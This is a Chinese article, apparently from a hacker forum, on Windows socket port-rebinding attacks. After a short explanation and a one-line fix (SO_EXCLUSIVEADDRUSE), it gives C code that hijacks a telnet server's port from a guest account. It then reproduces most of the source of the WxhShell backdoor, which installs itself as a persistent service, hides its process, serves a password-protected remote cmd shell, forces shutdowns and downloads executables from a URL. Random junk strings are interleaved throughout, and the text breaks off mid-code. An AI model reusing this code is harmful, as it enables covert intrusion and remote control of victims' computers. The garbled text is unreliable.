在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7:pc%Ksq s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6Yodx$ YSt*uOZK saddr.sin_family = AF_INET;
r|4D.O] 'q$ Ym0nL saddr.sin_addr.s_addr = htonl(INADDR_ANY);
.#SgU<Wq 1~K'r& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Bt}90# cpP}NJb0;% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
S9}I y.D+M$f 这意味着什么?意味着可以进行如下的攻击:
gs3(B/";c z=U+FHdh/- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W0 sLMHq UH%H9;
,$] 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
SN ?Z7 2DFsMT>X 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
'vVWUK956 :2S?|7U4 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
L+%kibnY' Os$E,4,py 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
upaP,ik}~ V.*M;T\i 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
*1kFy_Gx aH uMm& 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
qKd ="PR} jGz~}&B #include
l9Ol|Cb& #include
n8; p]{ #include
/KOI%x #include
9M27;"gK DWORD WINAPI ClientThread(LPVOID lpParam);
YFJaf"?8g int main()
57{T
p:| {
8b]4uI< WORD wVersionRequested;
=-:%~ng DWORD ret;
o^X3YaS)
WSADATA wsaData;
9|<Li[ BOOL val;
KqJln)7 SOCKADDR_IN saddr;
Lr:n SOCKADDR_IN scaddr;
B//*hH >F int err;
z/4<x?}+hE SOCKET s;
Uvm.|p_V SOCKET sc;
3 5.&!4} int caddsize;
G-9i HANDLE mt;
1]=X DWORD tid;
lPxhqF5pP wVersionRequested = MAKEWORD( 2, 2 );
0*5Jq#5 err = WSAStartup( wVersionRequested, &wsaData );
"o`?-bQ: if ( err != 0 ) {
iQ:eR]7X printf("error!WSAStartup failed!\n");
%?].(
Lc return -1;
%M1l[\N }
P7=`P saddr.sin_family = AF_INET;
(["kbPma pu/5#[MC)^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&gr 8;O:0 "A+7G5 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
'a+^= c saddr.sin_port = htons(23);
{Dl@/fz if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z;oia!9z {
TIiYic!_~ printf("error!socket failed!\n");
"i#g [x return -1;
4y3c=L
No }
v"yu7tZ3N val = TRUE;
B2]52Fg-" //SO_REUSEADDR选项就是可以实现端口重绑定的
V{oFig 6 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
zCo$YP#5_ {
bLG7{qp printf("error!setsockopt failed!\n");
])F+ C/Px1 return -1;
B7'#8heDh }
$%bd`d*S //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
F*J1w|)F0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
DVhBZ!u9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
t adeG +u$JMp if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Pv2uZH( {
RN)XIf$@_ ret=GetLastError();
r&a}U6k(y printf("error!bind failed!\n");
Wfd`v return -1;
@, fvWNI }
80lhhqRC listen(s,2);
2qE_SSXn while(1)
P=,\wM6T| {
t27UlFX caddsize = sizeof(scaddr);
Pd&KAu|<` //接受连接请求
M| Gl&
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
hR|xUp
if(sc!=INVALID_SOCKET)
WZ6{9/%: {
SS%Bde&<{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]N]Fb3 if(mt==NULL)
9FSa=<0wE {
mB>0$l y printf("Thread Creat Failed!\n");
9HFEp-" break;
e< @$(w }
KPz0;2} }
BZ.l[LMp CloseHandle(mt);
${z#{c1 }
MMKN^a"GA closesocket(s);
sjLMM_' WSACleanup();
OW};i| return 0;
*GXPN0^Qjo }
Axb=1_-- DWORD WINAPI ClientThread(LPVOID lpParam)
]QJ5JtD- {
7c(j1:Ku- SOCKET ss = (SOCKET)lpParam;
s) s9Z,HY SOCKET sc;
uVD^X* unsigned char buf[4096];
qB_s<cpn> SOCKADDR_IN saddr;
~
i+XVo long num;
f9#srIx+ DWORD val;
{'+{ASpO! DWORD ret;
`+< ^Svou //如果是隐藏端口应用的话,可以在此处加一些判断
>2>/
q? //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
HN`qMGW^ saddr.sin_family = AF_INET;
Co nik` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=\2gnk~ saddr.sin_port = htons(23);
am? k if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
YMv}] {
&@@PJ!& printf("error!socket failed!\n");
30WOH
'n return -1;
iNkN'(" }
D`G; C val = 100;
FXT^r3 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u*%mUh {
2 ^"j]g>mj ret = GetLastError();
u0+F2+ I return -1;
o9|
OL }
36co'a4, if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
iTdamu`L {
HFjSM~ ret = GetLastError();
V0A> + return -1;
#9}1Lo> }
7t<h 'g2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NGi)Lh| {
|;|r[aU printf("error!socket connect failed!\n");
bnL!PsG$K, closesocket(sc);
$s1/Rmw closesocket(ss);
'")'h return -1;
]Kjt@F"; }
PhuHfw4$y, while(1)
Z>R@ {
a.UYBRP/l //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
go=xx.WJ //如果是嗅探内容的话,可以再此处进行内容分析和记录
)d3C1Pd> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z"|jCdZGM num = recv(ss,buf,4096,0);
@^ta)Ev if(num>0)
4w9=z, send(sc,buf,num,0);
8q]"CFpa else if(num==0)
vCt][WX( break;
sF :pwI5^ num = recv(sc,buf,4096,0);
;,]4A{| if(num>0)
]Q.S Is send(ss,buf,num,0);
POl-S<QV else if(num==0)
QhTn9S:D break;
4IOqSB| }
1Ci^e7|? closesocket(ss);
cr0/.Zv) closesocket(sc);
C[TjcHoA return 0 ;
+|GHbwvp }
Rq2bj_ j ncUhCp?' p; , V ==========================================================
qh}+b^Wi f$}g'r zl 下边附上一个代码,,WXhSHELL
mPPB"uQ 3:$@DZT$ ==========================================================
m7A3i<6p P^Og(F8; #include "stdafx.h"
&a\w+ d7g$9&/q #include <stdio.h>
i,RbIZnJ #include <string.h>
B&KIM{j\ #include <windows.h>
=kq<J-:#R #include <winsock2.h>
"IJ1b~j? #include <winsvc.h>
32j#kJ W #include <urlmon.h>
79
_8Oh P^q!Pye #pragma comment (lib, "Ws2_32.lib")
ebL0cK? #pragma comment (lib, "urlmon.lib")
SMB&sl iSX:H; #define MAX_USER 100 // 最大客户端连接数
!3c+}j-j #define BUF_SOCK 200 // sock buffer
* >NML]#0 #define KEY_BUFF 255 // 输入 buffer
XH!n{Of :*l\j"fX5 #define REBOOT 0 // 重启
cZ`%Gt6g #define SHUTDOWN 1 // 关机
F2(^OFh E\Iz:ES^ #define DEF_PORT 5000 // 监听端口
D}ZPgt#
(yT&&_zY4 #define REG_LEN 16 // 注册表键长度
-~~R?,H'Z_ #define SVC_LEN 80 // NT服务名长度
2=7[r-*E :c}PW"0v // 从dll定义API
h6`VU`pPI typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
wB[
JFy"E typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mH<|.7~0 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Yu[MNX;G typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
E.*wNah"U .[:WMCc\ // wxhshell配置信息
XTb.cqOC struct WSCFG {
u1z!OofN> int ws_port; // 监听端口
#~|esr/wf char ws_passstr[REG_LEN]; // 口令
U+D# int ws_autoins; // 安装标记, 1=yes 0=no
cI7a TLC"s char ws_regname[REG_LEN]; // 注册表键名
ja{x}n*5 char ws_svcname[REG_LEN]; // 服务名
"x:-#2+h char ws_svcdisp[SVC_LEN]; // 服务显示名
?WS.RB e2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
{FC<vx{42 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
s9u7zqCF int ws_downexe; // 下载执行标记, 1=yes 0=no
}g 2l
ni char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
S =sL:FC char ws_filenam[SVC_LEN]; // 下载后保存的文件名
S->S p PIsXX#`7; };
\w$e|[~ eNFA.*p< // default Wxhshell configuration
z`dnS]q9 struct WSCFG wscfg={DEF_PORT,
[S.zWPX9{ "xuhuanlingzhe",
pqbKPpG 1,
<V8=*n"mR "Wxhshell",
iNn?G C> "Wxhshell",
+sd':vE "WxhShell Service",
Tkh?F5l "Wrsky Windows CmdShell Service",
ciPq@kMV "Please Input Your Password: ",
<ou=f' 1,
V#DNcF~v]f "
http://www.wrsky.com/wxhshell.exe",
MG,?,1_ & "Wxhshell.exe"
4?x$O{D5?{ };
H)+wkR!~ lIatM@gU // 消息定义模块
Hg[AulNna char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
G^\.xk] char *msg_ws_prompt="\n\r? for help\n\r#>";
q0_Pl* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
X5P1wxk' char *msg_ws_ext="\n\rExit.";
#X<s_.7DJ char *msg_ws_end="\n\rQuit.";
kx[h41|n char *msg_ws_boot="\n\rReboot...";
?uE@C3 e char *msg_ws_poff="\n\rShutdown...";
`lE8dwL char *msg_ws_down="\n\rSave to ";
].
^e[v6 `H|#l\ char *msg_ws_err="\n\rErr!";
F[oTc^dr char *msg_ws_ok="\n\rOK!";
tp +H]H3 a#P{ [ char ExeFile[MAX_PATH];
|H-zm&h>' int nUser = 0;
-<n]Sv;V HANDLE handles[MAX_USER];
GEfTs[ int OsIsNt;
VQ`a-DL =a./HCF SERVICE_STATUS serviceStatus;
JwmH_nJ( SERVICE_STATUS_HANDLE hServiceStatusHandle;
^WIGd"^ E#+|.0*!s // 函数声明
;kF+V* int Install(void);
HY'-P&H5( int Uninstall(void);
Jg%jmI;Y int DownloadFile(char *sURL, SOCKET wsh);
X\LiV{c int Boot(int flag);
=xsTVT;sj void HideProc(void);
p3{ 3[fDx int GetOsVer(void);
8 gzf$Oc int Wxhshell(SOCKET wsl);
X/`M'8v.% void TalkWithClient(void *cs);
6"Rw&3D? int CmdShell(SOCKET sock);
NYp46; int StartFromService(void);
3 n=ftkI int StartWxhshell(LPSTR lpCmdLine);
%u02KmV. 5Qgh\4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
=LMM]'no, VOID WINAPI NTServiceHandler( DWORD fdwControl );
97L#3L6t \#)w$O // 数据结构和表定义
Oi4tG&q SERVICE_TABLE_ENTRY DispatchTable[] =
XfH[:XG3 {
d,caO E8N {wscfg.ws_svcname, NTServiceMain},
JQ]A"xTIa* {NULL, NULL}
WkR=(dss8 };
)Fh5*UC \L{V|}"X // 自我安装
q <Zza int Install(void)
k'JfXrW<! {
VRa>bS char svExeFile[MAX_PATH];
|jE0H!j HKEY key;
8P3"$2q strcpy(svExeFile,ExeFile);
5]yby"Z?}
whvvc2 // 如果是win9x系统,修改注册表设为自启动
I9;,qd%<T if(!OsIsNt) {
`E2HQA@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z`Sbq{Kx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
L4-v'Z; RegCloseKey(key);
:LEC[</yvl if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
As-xO~ + RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
C;NG#4;' RegCloseKey(key);
-7:_Dy return 0;
K/ 5U;oC }
1=Nh<FuQ }
ct![eWsuB }
~zT7 43 else {
R\d)kcy4 tKKQli4Mn4 // 如果是NT以上系统,安装为系统服务
,c9K]>8m` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=S:Snk% if (schSCManager!=0)
R;EdYbiF b {
zyi;vu SC_HANDLE schService = CreateService
w_]`)$9 (
p? L*vcU schSCManager,
k]9v${Ke wscfg.ws_svcname,
Yb;$z' wscfg.ws_svcdisp,
];8S<KiS~ SERVICE_ALL_ACCESS,
#9ZHt5T=$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ZF~@a+o SERVICE_AUTO_START,
,37\8y?o\ SERVICE_ERROR_NORMAL,
N- :.z]j#_ svExeFile,
S{#L7S NULL,
K#!c<Li# NULL,
^'ac|+ NULL,
SM8Wg> NULL,
0S71&I$u] NULL
G24Ov&H );
!$L~/<&0g if (schService!=0)
FH7h?!|t {
ee\QK,QV CloseServiceHandle(schService);
#$0*Gd-N CloseServiceHandle(schSCManager);
!}PZCbDhL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
BMs?+ strcat(svExeFile,wscfg.ws_svcname);
w9]HJ3qi if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2U.'5uA"L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,A9_xdv5 RegCloseKey(key);
'
>R?8Y return 0;
x,: DL)$1 }
5~GH*!h%; }
,zVS}!jRhy CloseServiceHandle(schSCManager);
5e}adHjM }
+nU=)x?38 }
S}/5W !M@jW[s return 1;
PB(I3R9 }
$QB/n63 <kOdd)X // 自我卸载
PQJw"[N/YM int Uninstall(void)
<`'T#e$ {
5/YGu=, HKEY key;
^i8"eF u%sfHGrH if(!OsIsNt) {
hh7unHt- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(bp4ly^ RegDeleteValue(key,wscfg.ws_regname);
|e{ ^Yf4 RegCloseKey(key);
7tQ?av if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\zLKSJ] RegDeleteValue(key,wscfg.ws_regname);
9oQ$w?=#$ RegCloseKey(key);
g$h`.Fk, return 0;
ZgA+$}U)uW }
.oH)eD }
i[/`9 AK }
z07Xj%zX9 else {
i62GZeE 8h,=yAn5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.s-*aoj if (schSCManager!=0)
D=@bP B> {
hg2UZ%
Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
10IX84 if (schService!=0)
!xvAy3 {
~yiw{:\ if(DeleteService(schService)!=0) {
t Z@OAPRx CloseServiceHandle(schService);
Ubm]V{7 CloseServiceHandle(schSCManager);
kX%vTl7F return 0;
N"8'=wB }
Y^tUcBm\ CloseServiceHandle(schService);
;a 6Z=LB }
[*U.bRs CloseServiceHandle(schSCManager);
H5Bh?mw2 }
RA1K$D ?A }
nxMZd=Y o1R:1!"2 return 1;
c2Wp 8l }
MSE0z!t {t!Pv2y< // 从指定url下载文件
S S fNI> int DownloadFile(char *sURL, SOCKET wsh)
>|aVGY {
KAg-M# HRESULT hr;
9AJ"C7 char seps[]= "/";
K57u87=*X? char *token;
MU:q`DRr char *file;
J,:Wv`N:9~ char myURL[MAX_PATH];
4s6,`- char myFILE[MAX_PATH];
4JRQ=T|P7I zZ 94_8b strcpy(myURL,sURL);
K-[;w$np0 token=strtok(myURL,seps);
|7QSr!{_ while(token!=NULL)
Y<h6m]H {
vj9'5]!~q file=token;
@,m 7%, token=strtok(NULL,seps);
B#r"|x# [ }
Je4hQJ<h P'^& SK GetCurrentDirectory(MAX_PATH,myFILE);
MM6PaD{ strcat(myFILE, "\\");
-"rANP-UI strcat(myFILE, file);
^hcK& send(wsh,myFILE,strlen(myFILE),0);
'^`iF,rg send(wsh,"...",3,0);
wZVLpF+7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
XT?wCb41R if(hr==S_OK)
Clb7=@f return 0;
Y`."=8R~ else
P9W?sPnC5 return 1;
t;`ULp~& /ke[nr }
Z7> Nd$E{ g}d[j
I9 // 系统电源模块
3wg1wl| int Boot(int flag)
4~Y?*|G]m {
"B>8on8O HANDLE hToken;
(TU/EU5 TOKEN_PRIVILEGES tkp;
@z^7*#vQv B=~uJUr if(OsIsNt) {
$]rC-K:Z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
NQA2usb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
=]S,p7* 7 tkp.PrivilegeCount = 1;
B(f_~ ] tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
+j %y#_~ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
a(kY,<} if(flag==REBOOT) {
v
6s]X*l? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Rg^ps return 0;
;iW>i8 }
M%WO else {
j2%fAs< if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
U>sEFzBup return 0;
eD8e0
D'S }
gVrfZ&XF84 }
!hjF"Pa else {
virt[5w if(flag==REBOOT) {
f[
KI
T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
q\-P/aN_ return 0;
\}~71y} }
mZG n:f}= else {
m>RtKCtP if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
4Y1dkg1y return 0;
j+rY }
0
vYG#S }
[jksOC)@4 *(qj!U43 return 1;
y` {|D* }
pRzL}-[/v +z:>Nl // win9x进程隐藏模块
D)Ep!`Q
void HideProc(void)
%~} ,N {
dS\!tdHP-Q CO9PQ`9+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CRD=7\0(D+ if ( hKernel != NULL )
=z]rZSq*o {
7XLqP pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
^tjw }sE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<EQaYZY= FreeLibrary(hKernel);
Pd-LDs+Ga }
JU.!< !XM<`H/ return;
Zw _aeJ }
CyS%11L a
9{:ot8, // 获取操作系统版本
W#E(?M[r int GetOsVer(void)
~Uey'Xz {
hlZ{bO'f OSVERSIONINFO winfo;
J@"UFL'^ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rS+) )! GetVersionEx(&winfo);
o"FR%% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
cTS.yN({G return 1;
m Rm}7p else
wy8Q=X:vP return 0;
Z4c'1-lh }
lC`w}0p r>7+&s*yk // 客户端句柄模块
/zb/am1# int Wxhshell(SOCKET wsl)
S,ea[$_ {
D[?;+g/ SOCKET wsh;
W G@3+R>{ struct sockaddr_in client;
ExSM=
DWORD myID;
l qwy5# k52IvB@2 while(nUser<MAX_USER)
,|3_@tUl {
'RhS%l int nSize=sizeof(client);
;6D3>Lm wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rMHh!)^#W if(wsh==INVALID_SOCKET) return 1;
CLk,]kA'r L\UGC%]9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0nL
#-`S if(handles[nUser]==0)
ZSW@,Ti closesocket(wsh);
'|Bk}pl7 else
6W{Nw< nUser++;
: r ~iFP* }
\#LDX,= WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
qg=`=]j {?Y\T return 0;
r5ldK?=k+* }
[DDe}D3C /RMtCa~ // 关闭 socket
4v |i\V>M void CloseIt(SOCKET wsh)
D!!
B4zt {
yYYP;N?g4k closesocket(wsh);
|>.MH nUser--;
@'):rFr@F ExitThread(0);
3<"j/9;K' }
@&`^#pok OylUuYy~j // 客户端请求句柄
]u!s-=3s void TalkWithClient(void *cs)
ZJU
%&@ {
sS;)d k}qQG}hB SOCKET wsh=(SOCKET)cs;
1.k=ji$D0 char pwd[SVC_LEN];
|9\i+)C char cmd[KEY_BUFF];
k ,ldi char chr[1];
G+Z ,ic int i,j;
,Yx<"2 W #b;k+<n[X while (nUser < MAX_USER) {
=X^a _u^3uzu if(wscfg.ws_passstr) {
m"/..&'GC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gaz",kK< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/g!ZU2&l //ZeroMemory(pwd,KEY_BUFF);
K>e-IxA);0 i=0;
>6jal?4u- while(i<SVC_LEN) {
V^R,j1* " "m-5PGYo // 设置超时
9
@ < fd_set FdRead;
d^nO&it struct timeval TimeOut;
8 yi#] 5`Q FD_ZERO(&FdRead);
dm[cl~[
Q FD_SET(wsh,&FdRead);
b@8z+,_ TimeOut.tv_sec=8;
cZ|NGkZ TimeOut.tv_usec=0;
ga/zt-& int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Zv!XNc!"$y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;`LG WT-<F R&;x_4dr^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
GiX3c^V"1 pwd
=chr[0]; MGMJeqvr
if(chr[0]==0xd || chr[0]==0xa) { {*F
=&D
pwd=0; 9x!kvB6
break; YW6a?f^!
} )1B?<4
i++; aaCRZKr
} \V!{z;.fA
8..|-<w
// 如果是非法用户,关闭 socket (}6\_k[}m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MnqT?Cc4$j
} _q#pEv
``k[CgV
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vm\zLWNB
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @(35I
\By_mw
while(1) { mY/"rm
Q"~%T@e
ZeroMemory(cmd,KEY_BUFF); 5NUaXQ
|yO%w #
// 自动支持客户端 telnet标准 >I5Wf/$
j=0; VnkhY
while(j<KEY_BUFF) { ?xH{7)dO
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wU!-sf;]y
cmd[j]=chr[0]; BXU0f%"8U
if(chr[0]==0xa || chr[0]==0xd) { EK=0oy[
cmd[j]=0; (?8i^T?WP=
break; ,M?8s2?
} 8)?&eE'
j++; n0co*
]X+k
} x$` lQ%
$Z]@N
nA9N
// 下载文件 [ !#Dba#
if(strstr(cmd,"http://")) { D!Y@Og.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?M&@# lbG
if(DownloadFile(cmd,wsh)) c8[kL$b;j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h M7 SGEV
else 9#P~cW?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y7:f^4
} n.8870.BW
else {
hx&fV#m
#`gX(C>
switch(cmd[0]) { ~K #92
R,78}7B
// 帮助 qOy(dG g
case '?': { N[3Y~HX!q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yH-&o,
break; !Whx^B:
} K)
// 安装 qGH[kd
case 'i': { )@I] Rk?
if(Install()) ^`lrKk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }JST(d&
else N atC}k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v5\ALWy+p
break; GB}\ 7a
} HAI)+J
// 卸载 %vy,A*
case 'r': { Gr&e]M[ l
if(Uninstall()) N".BC|r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UW8yu.`?
else /cx'(AT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u9v,B$S
break; zLe(#8G
} Z7pX%nj_
// 显示 wxhshell 所在路径 5EQ)pH+
case 'p': { aWRi`poZT
char svExeFile[MAX_PATH]; @0PWbs$
strcpy(svExeFile,"\n\r"); ;`pIq-=
strcat(svExeFile,ExeFile); h_P[B
send(wsh,svExeFile,strlen(svExeFile),0); HLqN=vE6
break; h>*3i#
} ;%
KS?;%[
// 重启 \F`>zY2$%
case 'b': { F7jkl4
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =J)-#|eZG
if(Boot(REBOOT)) H'udxPF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qzO Rv
else { Tim/7*vx
closesocket(wsh); !:5'MI@
ExitThread(0); [^}bc-9?i
} 8$]SvfX
break; _u6NaB
} Q%q;=a
// 关机 hG~.Sc:G
case 'd': { -a>CF^tH
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n(# yGzq
if(Boot(SHUTDOWN)) YU6|/
<8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); `u_MdB}<x;
else { =to.Oa RR
closesocket(wsh); p|nPu*R-\
ExitThread(0); "{E%Y*
} ~"\v(\P e
break; Q'3tDc<
} MtPdpm6\
// 获取shell lx5.50mI
case 's': { 7_Te-i
CmdShell(wsh); PB"=\>]`N
closesocket(wsh); JBHPI@Qt%
ExitThread(0); @>$qb|j
break; 'j{o!T0
} p ]jLs|tat
// 退出 J9tV|0
case 'x': { K/Y"oQ2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ( 1
CloseIt(wsh); 5c}loOq
break; o-&0_Zq_
} YR/I<m`]}
// 离开 x|d? '
case 'q': { PWp=}f.y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); tj*0Y-F~
closesocket(wsh); o[eZ"}~
WSACleanup(); wBw(T1VN
exit(1); Iy;"ht6
break; PU%f`)
} *PFQ
} %zY5'$v `
} x<rS2d-Y
IIGx+>
// 提示信息 \Ezcr=0z{j
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3rHn?
} ' e!WZvr
} M6A0D+08
tmBt[
return; kd"nBb=
} F/LMk8RgR
G `3{Q7k
// shell模块句柄 RS&BS;
int CmdShell(SOCKET sock) - e0[$v
{ -~(d_
STARTUPINFO si; HEc.3
ZeroMemory(&si,sizeof(si)); J9XH8Grk-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !wEe<],
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '`<Fys&:
PROCESS_INFORMATION ProcessInfo; noz1W ]
char cmdline[]="cmd"; W?wt$'
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \I}EWI
return 0; NySa%7@CD
} 4:**d[|1
+hispU3ia
// 自身启动模式 OXKV6r6f
int StartFromService(void) d)Z&_v<|
{ umnQ$y
0
typedef struct =w`uZ;l$Q
{ w 2U302TZ
DWORD ExitStatus; n`w]? bL
DWORD PebBaseAddress; Pe\Obd8d
DWORD AffinityMask; 2T?Y
